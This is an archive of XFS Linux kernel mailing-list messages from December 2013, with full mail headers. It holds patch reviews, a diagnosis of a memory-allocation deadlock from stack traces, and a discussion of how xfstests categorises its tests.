a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 001aa89..7e75b8e 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -2152,16 +2152,9 @@ xfs_ifree_cluster( > struct xfs_perag *pag; > > pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, inum)); > - if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) { > - blks_per_cluster = 1; > - ninodes = mp->m_sb.sb_inopblock; > - nbufs = XFS_IALLOC_BLOCKS(mp); > - } else { > - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) / > - mp->m_sb.sb_blocksize; > - ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; > - nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; > - } > + blks_per_cluster = xfs_ialloc_blks_per_cluster(mp); > + ninodes = blks_per_cluster << mp->m_sb.sb_inopblog; > + nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; I'd get rid of the XFS_IALLOC_BLOCKS() macros there and just use mp->m_ialloc_blks directly. Otherwise looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:39:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 55E707F4E for ; Wed, 11 Dec 2013 17:39:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D1152AC00B for ; Wed, 11 Dec 2013 15:39:55 -0800 (PST) X-ASG-Debug-ID: 1386805193-04cb6c537c6b6e60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id POVoAzhKFV3TFaIm for ; Wed, 11 Dec 2013 15:39:53 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAIj3qFJ5LHyk/2dsb2JhbABZgweDOrB9hi+BGhd0giUBAQU6HCMQCAMVAwkMGQ8FJQMhE4gBwiUXFo5yBwqEKgSYE4pMh0iDPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 10:09:40 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqtNS-0008Q7-KF; Thu, 12 Dec 2013 10:39:38 +1100 Date: Thu, 12 Dec 2013 10:39:38 +1100 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH 5/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_imap Message-ID: <20131211233938.GR10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_imap References: <52A86D33.2020102@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A86D33.2020102@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386805193 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143024 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 09:48:35PM +0800, Jeff Liu wrote: > From: Jie Liu > > Use xfs_ialloc_blks_per_cluster() in xfs_imap(). Please note that we > previously calculate the number of blocks per cluster without taking > the situation of that the inode cluster size might be equal to or less > than the SB blocksize into account. Maybe there is a chance to cause > potential issues after handling an untrusted inode number lookup and > proceed to check if the inode number maps to a block is outsides the > file system bounds or not. I don't think there's any issues here - after all the inode lookups and mapping is done, the code in xfs_imap checks that the cluster that the inode is mapped to lies wholly within the filesystem boundaries. Hence I think you can remove that from the patch descritpion. Otherwise, looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:53:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6BE0F7F4E for ; Wed, 11 Dec 2013 17:53:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3C3E28F804B for ; Wed, 11 Dec 2013 15:53:43 -0800 (PST) X-ASG-Debug-ID: 1386806019-04cbb041686be7c0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mzppdS9j17gttcHZ for ; Wed, 11 Dec 2013 15:53:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgEQAOD5qFJ5LHyk/2dsb2JhbAA/FAYWgnE4gwKhRQOPNYYvgRoXdIIlAQEFHgkTHCMQCAMOBwMJJQ8FJQMhE4gBDjbCAxaMeYE2QweENASYE4ExiRuHSIM9KIEsJA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 10:23:39 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vqtax-0008Re-Cj; Thu, 12 Dec 2013 10:53:35 +1100 Date: Thu, 12 Dec 2013 10:53:35 +1100 From: Dave Chinner To: Ben Myers Cc: Emmanuel Lacour , xfs@oss.sgi.com Subject: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) Message-ID: <20131211235335.GS10988@dastard> X-ASG-Orig-Subj: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) References: <20131128091322.GC5337@easter-eggs.com> <20131128100521.GO10988@dastard> <20131203095357.GC5405@easter-eggs.com> <20131203125057.GU10988@dastard> <20131211202226.GH1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211202226.GH1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386806019 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Wed, Dec 11, 2013 at 02:22:26PM -0600, Ben Myers wrote: > On Tue, Dec 03, 2013 at 11:50:57PM +1100, Dave Chinner wrote: > > On Tue, Dec 03, 2013 at 10:53:58AM +0100, Emmanuel Lacour wrote: > > > On Thu, Nov 28, 2013 at 09:05:21PM +1100, Dave Chinner wrote: > > > > On Thu, Nov 28, 2013 at 10:13:22AM +0100, Emmanuel Lacour wrote: > > > > > > > > > > Dear XFS users, > > > > > > > > > > > > > > > I run a Ceph cluster using XFS on Debian wheezy servers and Linux 3.10 > > > > > (debian backports). I see the following line in our logs: > > > > > > > > > > XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > > > > > > > > > > does this reveal a problem in my setup or may I ignore it? If it's a > > > > > problem, can someone give me any hint on solving this? > > > > > > > > It might be, but you need to provide more information for us to be > > > > able to make any intelligent comment on the message. Start here: > > > > > > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > > > > > > > > > > > > The problem continue and crashed my ceph cluster again, so here is all > > > the informations said in the FAQ: > > > > > > http://people.easter-eggs.org/~manu/xfs.log > > > > OK, 32GB RAM, no obvious shortage, no dirty or writeback data. > > 2TB SATA drives, 32AGs, only unusual setting is 64k directory block > > size. > > > > Yup, there's your problem: > > > > [4583991.478469] ceph-osd D ffff88047fc93f40 0 22951 > > 1 0x00000004 > > [4583991.478471] ffff88046d241140 0000000000000082 ffffffff81047e75 > > ffff88046f949800 > > [4583991.478475] 0000000000013f40 ffff88039eb0bfd8 ffff88039eb0bfd8 > > ffff88046d241140 > > [4583991.478479] 0000000000000000 00000001444d68bd ffff88046d241140 > > 0000000000000005 > > [4583991.478483] Call Trace: > > [4583991.478487] [] ? internal_add_timer+0xd/0x28 > > [4583991.478491] [] ? schedule_timeout+0xeb/0x123 > > [4583991.478494] [] ? ftrace_raw_event_timer_class+0x9d/0x9d > > [4583991.478498] [] ? io_schedule_timeout+0x60/0x86 > > [4583991.478502] [] ? congestion_wait+0x70/0xdb > > [4583991.478505] [] ? abort_exclusive_wait+0x79/0x79 > > [4583991.478518] [] ? kmem_alloc+0x65/0x6f [xfs] > > [4583991.478535] [] ? xfs_dir2_block_to_sf+0x5b/0x1fb [xfs] > > [4583991.478550] [] ? xfs_dir2_block_sfsize+0x15b/0x16a [xfs] > > [4583991.478566] [] ? xfs_dir2_block_removename+0x1c7/0x208 [xfs] > > [4583991.478581] [] ? xfs_dir_removename+0xda/0x114 [xfs] > > [4583991.478594] [] ? xfs_rename+0x428/0x554 [xfs] > > [4583991.478606] [] ? xfs_vn_rename+0x5e/0x65 [xfs] > > [4583991.478610] [] ? vfs_rename+0x224/0x35f > > [4583991.478614] [] ? lookup_dcache+0x22/0x95 > > [4583991.478618] [] ? SYSC_renameat+0x1c8/0x257 > > [4583991.478622] [] ? __cache_free.isra.45+0x178/0x187 > > [4583991.478625] [] ? SyS_mkdirat+0x2e/0xce > > [4583991.478629] [] ? do_notify_resume+0x53/0x68 > > [4583991.478633] [] ? system_call_fastpath+0x16/0x1b > > > > It'll be stuck on this: > > > > hdr = kmem_alloc(mp->m_dirblksize, KM_SLEEP); > > > > which is trying to allocate a contiguous 64k buffer to copy the > > direct contents into before freeing the block and then formatting > > them into the inode. The failure will be caused by memory > > fragmentation, and the only way around it is to avoid the contiguous > > allocation of that size. > > > > Which, I think, is pretty easy to do. Yup, barely smoke tested patch > > below that demonstrates the fix. Beware - patch may eat babies and > > ask for more. Use it at your own risk! > > > > I'll post it for review once it's had some testing and I know it > > doesn't corrupt directories all over the place. > > > > > This may be related to a friend problem here: > > > > > > http://tracker.ceph.com/issues/6386 > > > > Doesn't look related, unless the OOM killer is being triggered > > somehow... > > > > Hmmmm - there's also a good chance the the transaction commit code > > has this same problem contiguous allocation problem given that it > > has to allocate enough space to log an entire directory buffer. Good > > guess - there's another thread stuck on exactly that: > > > > [4583991.476833] ceph-osd D ffff88047fc33f40 0 11072 1 0x00000004 > > [4583991.476836] ffff88038b32a040 0000000000000082 ffffffff81047e75 ffff88046f946040 > > [4583991.476840] 0000000000013f40 ffff88048ea11fd8 ffff88048ea11fd8 ffff88038b32a040 > > [4583991.476844] 0000000000000000 00000001444d68be ffff88038b32a040 0000000000000005 > > [4583991.476848] Call Trace: > > [4583991.476852] [] ? internal_add_timer+0xd/0x28 > > [4583991.476855] [] ? schedule_timeout+0xeb/0x123 > > [4583991.476859] [] ? ftrace_raw_event_timer_class+0x9d/0x9d > > [4583991.476862] [] ? io_schedule_timeout+0x60/0x86 > > [4583991.476867] [] ? congestion_wait+0x70/0xdb > > [4583991.476870] [] ? abort_exclusive_wait+0x79/0x79 > > [4583991.476883] [] ? kmem_alloc+0x65/0x6f [xfs] > > [4583991.476899] [] ? xfs_log_commit_cil+0xe8/0x3d1 [xfs] > > [4583991.476904] [] ? current_kernel_time+0x9/0x30 > > [4583991.476909] [] ? current_fs_time+0x27/0x2d > > [4583991.476925] [] ? xfs_trans_commit+0x62/0x1cf [xfs] > > [4583991.476939] [] ? xfs_create+0x41e/0x54f [xfs] > > [4583991.476943] [] ? lookup_fast+0x3d/0x215 > > [4583991.476954] [] ? xfs_lookup+0x88/0xee [xfs] > > [4583991.476966] [] ? xfs_vn_mknod+0xb7/0x162 [xfs] > > [4583991.476970] [] ? vfs_create+0x62/0x8b > > [4583991.476974] [] ? lookup_dcache+0x22/0x95 > > [4583991.476978] [] ? do_last+0x595/0xa16 > > [4583991.476982] [] ? path_openat+0xc4/0x335 > > [4583991.476985] [] ? do_filp_open+0x2a/0x6e > > [4583991.476989] [] ? __alloc_fd+0xd0/0xe1 > > [4583991.476993] [] ? do_sys_open+0x5c/0xe0 > > [4583991.476996] [] ? system_call_fastpath+0x16/0x1b > > > > That one isn't so easy to fix, unfortunately. > > > > Cheers, > > > > Dave. > > -- > > Dave Chinner > > david@fromorbit.com > > > > xfs: xfs_dir2_block_to_sf temp buffer allocation fails > > > > From: Dave Chinner > > > > If we are using a large directory block size, and memory becomes > > fragmented, we can get memory allocation failures trying to > > kmem_alloc(64k) for a temporary buffer. However, there is not need > > for a directory buffer sized allocation, as the end result ends up > > in the inode literal area. This is, at most, slightly less than 2k > > of space, and hence we don't need an allocation larger than that > > fora temporary buffer. > > > > Signed-off-by: Dave Chinner > > D'oh, I missed this one too. If you stick 'patch' in the subject they'll have > additional visibility. > > Looks good to me. > > Reviewed-by: Ben Myers When I reply in line like this it's more of a case of "please test this patch to see if it fixes your problem" question, not really an official posting of a patch because it's very likely I have just written the patch and have only done a 5 minute smoke test of the patch. So in this context, it's not really a "please review and commit" request. The issue is that I haven't reposted the patch in a separate series asking for reviews and commit as I normally do after I've tested it properly and are happy with it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 17:57:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 61EFD7F4E for ; Wed, 11 Dec 2013 17:57:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2A4D4304077 for ; Wed, 11 Dec 2013 15:57:27 -0800 (PST) X-ASG-Debug-ID: 1386806245-04bdf013221c48f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id G2D3BlzP1PeHJRGS for ; Wed, 11 Dec 2013 15:57:25 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHANz6qFJ5LHyk/2dsb2JhbABZgweDOrB9hi+BGhd0giUBAQU6HCMQCAMYCSUPBSUDIROIAcIxFxaOcgeENASYE5IUgz0ogS4k Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 10:27:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vqtec-0008SG-75; Thu, 12 Dec 2013 10:57:22 +1100 Date: Thu, 12 Dec 2013 10:57:22 +1100 From: Dave Chinner To: Jeff Liu Cc: Christoph Hellwig , "xfs@oss.sgi.com" Subject: Re: [PATCH 04/15] mkfs: validate all input values Message-ID: <20131211235722.GT10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 04/15] mkfs: validate all input values References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-5-git-send-email-david@fromorbit.com> <20131202170420.GA14935@infradead.org> <20131202231202.GA10988@dastard> <20131203094207.GB4906@infradead.org> <52A7E9BC.3020905@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A7E9BC.3020905@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386806245 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 12:27:40PM +0800, Jeff Liu wrote: > Hi, Dave, > > While test this patch, I wonder if we should also validate non-supported > data block size combine with the system page size or not, as we do such > kind of checkup for non-supported inode size in mkfs... > > I can simply trigger scary corruption error with backtraces on 4K page > size machine via: mkfs.xfs -f -b size=8192 /dev/xxx; mount /dev/xxx /xfs That's the same case as a single bit error, which is somethign we should catch and warn loudly about. So, no, I don't think we should change it for this reason. That said, we do need to improve the verfiers to be able to separate CRC validation errors from corruption detected by the verifier. This means we'll need to rework the boiler-plate error handling in all the verifiers and we should probably address the verbosity issue of these corruption warnings at that point in time.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Dec 11 18:06:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D78E47F4E for ; Wed, 11 Dec 2013 18:06:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id C5DE7304077 for ; Wed, 11 Dec 2013 16:06:40 -0800 (PST) X-ASG-Debug-ID: 1386806798-04cb6c537b6b7870001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id SW5Z33ghu2CrREXu for ; Wed, 11 Dec 2013 16:06:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAEj9qFJ5LHyk/2dsb2JhbABZgweDOrB3hi+BGhd0giUBAQQBJxMcIwULCAMOCgklDwUlAyETh3wFwi8XFo5yB4Q0BJgTkhSBa4FSKA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 10:35:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqtmU-0008UC-K6; Thu, 12 Dec 2013 11:05:30 +1100 Date: Thu, 12 Dec 2013 11:05:30 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/10 v2] xfs: format log items write directly into the linear CIL buffer Message-ID: <20131212000530.GU10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/10 v2] xfs: format log items write directly into the linear CIL buffer References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.028583376@bombadil.infradead.org> <20131211120341.GA6116@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211120341.GA6116@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386806798 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 11, 2013 at 04:03:41AM -0800, Christoph Hellwig wrote: > Instead of setting up pointers to memory locations in iop_format which then > get copied into the CIL linear buffer after return move the copy into > the individual inode items. This avoids the need to always have a memory > block in the exact same layout that gets written into the log around, and > allow the log items to be much more flexible in their in-memory layouts. > > The only caveat is that we need to properly align the data for each > iovec so that don't have structures misaligned in subsequent iovecs. ..... > diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h > index 384c6c4..65e054a 100644 > --- a/fs/xfs/xfs_log.h > +++ b/fs/xfs/xfs_log.h > @@ -31,18 +31,49 @@ struct xfs_log_vec { > #define XFS_LOG_VEC_ORDERED (-1) > > static inline void * > -xlog_copy_iovec(struct xfs_log_iovec **vecp, uint type, void *data, int len) > +xlog_prepare_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, > + uint type) > { > struct xfs_log_iovec *vec = *vecp; > > + if (vec) { > + ASSERT(vec - lv->lv_iovecp < lv->lv_niovecs); > + vec++; > + } else { > + vec = &lv->lv_iovecp[0]; > + } > + > vec->i_type = type; > - vec->i_addr = data; > - vec->i_len = len; > + vec->i_addr = lv->lv_buf + lv->lv_buf_len; > > - *vecp = vec + 1; > + *vecp = vec; > return vec->i_addr; Can you add an assert here like this: ASSERT(IS_ALIGNED(vec->i_addr, sizeof(uint64_t)); So we catch any situation where the alignment ends up wrong? Otherwise, it looks good, so consider it: Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From tytso@thunk.org Wed Dec 11 18:17:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6223B7F4E for ; Wed, 11 Dec 2013 18:17:07 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2E6B830407A for ; Wed, 11 Dec 2013 16:17:07 -0800 (PST) X-ASG-Debug-ID: 1386807424-04bdf013221c5070001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id vIAQFPRB9N0sbYKV (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Wed, 11 Dec 2013 16:17:05 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1Vqtxa-00075P-Lo; Thu, 12 Dec 2013 00:16:58 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 86FB7580509; Wed, 11 Dec 2013 19:16:55 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1386807415; bh=AkEGya7YAdrQTI3aT2IzsDbWvJRZx35Hbp989v946q4=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=sWssNSN+cAD3iyJ3ohYQTTqCRNqwhvOEImg+J+Q0vnYBSz5q3zi1aVf/wwC53R5FQ 4dN2v/WX+nhBU8G6Kzq666bTZM3019eZ0ShFYtB8Oz35bzcz4Lf2FrKyh2pB940Z4n StNewfxC+OtL/WKi27+qRlWqeUbeyMoySQMBh+LQ= Date: Wed, 11 Dec 2013 19:16:55 -0500 From: Theodore Ts'o To: Dave Chinner Cc: Christoph Hellwig , Junho Ryu , hughd@google.com, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. Message-ID: <20131212001655.GA31768@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfstests: do not unmount tmpfs during remount. References: <1386706321-15795-1-git-send-email-jayr@google.com> <1386706321-15795-6-git-send-email-jayr@google.com> <20131211074615.GE19248@infradead.org> <20131211224012.GJ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211224012.GJ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1386807425 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Dec 12, 2013 at 09:40:12AM +1100, Dave Chinner wrote: > > > > All these tests don't make sense if you never unmount the filesystem. > > Istead they should exit with _notrun for tmpfs. > > IOWs, adding tmpfs changes the definition of a "generic" test. > > i.e. instead of: > > _supported_fs generic > > these tests are now: > > _supported_fs xfs ext2 ext3 ext4 ext4dev btrfs gfs2 nfs udf reiserfs > > and by that definition should be in the tests/shared directory.... At a higher level, I wonder how useful having the distinction between "generic" and "shared" really is. Suppose in the future we add some tests for networked file systems or cluster file systems --- do we end up migrating even more tests from "generic" to "shared" when we find tests that don't work for some new file system? And to the extent that we have things like _require_ which skips certain tests, it's not even true that all generic tests are run for all file systems. So what should be the proper distinction between generic and shared tests? Whether we use "_require_*" vs "_supported_fs"? And if so, it seems rather arbitrary that we decide whether not running a test based on the file system type being is fundamentally different from deciding not to run a test becuase we are missing the feature . Perhaps it would make more sense to move all of the generic test to shared, and eliminating the distinction? That way it also becomes easier becase we don't need to remember whether a test is generic/NNN vs shared/NNN. :-) Just a thought, - Ted From lists@colorremedies.com Wed Dec 11 18:20:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A58B67F4E for ; Wed, 11 Dec 2013 18:20:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 34A7DAC00B for ; Wed, 11 Dec 2013 16:20:00 -0800 (PST) X-ASG-Debug-ID: 1386807593-04cbb041686bf160001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id eYy64dxzumhlNc9K (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 16:19:54 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:56219 helo=[192.168.1.145]) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1Vqu0P-0049YV-Hg; Wed, 11 Dec 2013 17:19:53 -0700 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN From: Chris Murphy X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN In-Reply-To: <20131211185746.GA11861@redhat.com> Date: Wed, 11 Dec 2013 17:19:52 -0700 Cc: xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <2A0A637F-7ED6-4743-8791-E57E22306139@colorremedies.com> References: <20131211172725.GA4606@redhat.com> 